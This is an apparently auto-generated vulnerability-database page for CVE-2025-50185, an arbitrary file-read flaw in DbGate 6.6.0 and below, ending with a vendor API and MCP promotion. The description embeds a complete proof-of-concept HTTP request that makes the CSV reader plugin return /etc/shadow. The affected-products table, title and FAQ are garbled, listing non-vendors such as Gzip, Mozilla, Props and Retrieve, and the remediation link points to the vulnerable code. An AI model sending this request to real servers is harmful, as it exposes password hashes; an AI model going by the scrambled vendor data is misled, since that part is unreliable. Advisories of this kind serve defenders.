CVE-2025-50185 in Enforce products
DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails...
Affects 0 products from 10 vendors. Facts below cite their sources.
Affected products and versions
| Vendor | Product | Affected versions |
|---|---|---|
| Enforce | — | — |
| Github | — | — |
| Gzip | — | — |
| Keep | — | — |
| Linux | — | — |
| Mozilla | — | — |
| Platform | — | — |
| Plugin | — | — |
| Props | — | — |
| Retrieve | — | — |
A product listed here is affected only at the versions shown. Use the free check to test the exact version you run.
Fix and vendor advisory
Exploitation
| CISA known-exploited | Not in the CISA KEV catalog |
|---|---|
| Public exploit | Not confirmed |
Official description
DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue. ``` POST /runners/load-reader HTTP/1.1 Host: <REPLACE ME> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: <REPLACE ME> Content-Type: application/json Authorization: Bearer <REPLACE ME> Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: <REPLACE ME> Priority: u=0 Cache-Control: max-age=0 {"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}} ``` The request payload:  Lines of the file being returned: 
Source: NIST NVD / MITRE CVE.
Record details
| CVE ID | CVE-2025-50185 |
|---|---|
| BreachSpider ID | BS-2025-GLOBAL-037534-I |
| Published | 2025-07-26 |
| Last modified | 2026-06-17 |
| Weakness (CWE) | |
| Source | NVD |
Weakness definitions
CWE-29: CWE-29
Analysis AI-written, not human-reviewed
DbGate versions 6.6.0 and below are vulnerable to unauthorized file access due to insufficient validation of file paths and types, allowing users with application-level access to retrieve data from arbitrary files on the system.
The vulnerability arises from the application's failure to enforce proper checks on content type and file extension before reading a file, enabling unauthorized access to any file on the system.
Questions
What is CVE-2025-50185?
DbGate versions 6.6.0 and below are vulnerable to unauthorized file access due to insufficient validation of file paths and types, allowing users with application-level access to retrieve data from arbitrary files on the system.
Is CVE-2025-50185 actively exploited?
No confirmed active exploitation of CVE-2025-50185 as of 2026-09-25.
How do I remediate CVE-2025-50185?
Priority: IMMEDIATE. Advisory: https://github.com/dbgate/dbgate/blob/v6.6.0/plugins/dbgate-plugin-csv/src/backend/reader.js#L71-L102
What systems are affected by CVE-2025-50185?
CVE-2025-50185 affects Enforce; Github; Gzip; Keep; Linux; Mozilla; Platform; Plugin; Props; Retrieve.
For developers and AI agents
Run this check from your own code or agent
REST API
curl -s https://breachspider.com/api/v1/assets/correlate-cves \
-H "Authorization: Bearer $BREACHSPIDER_API_KEY" \
-H "Content-Type: application/json" \
-d '{"assets":[{"asset_id":"dev-1","vendor":"Enforce","product":"EDS-518A","version":"1.0"}]}'
MCP for AI agents
# hosted: add as a connector
https://mcp.breachspider.com/mcp
# local
pipx install breachspider-mcp
Free trial: 14 days, 750 device checks, no card.
Page facts from NVD, MITRE, CISA and vendor advisories, record last modified 2026-06-17.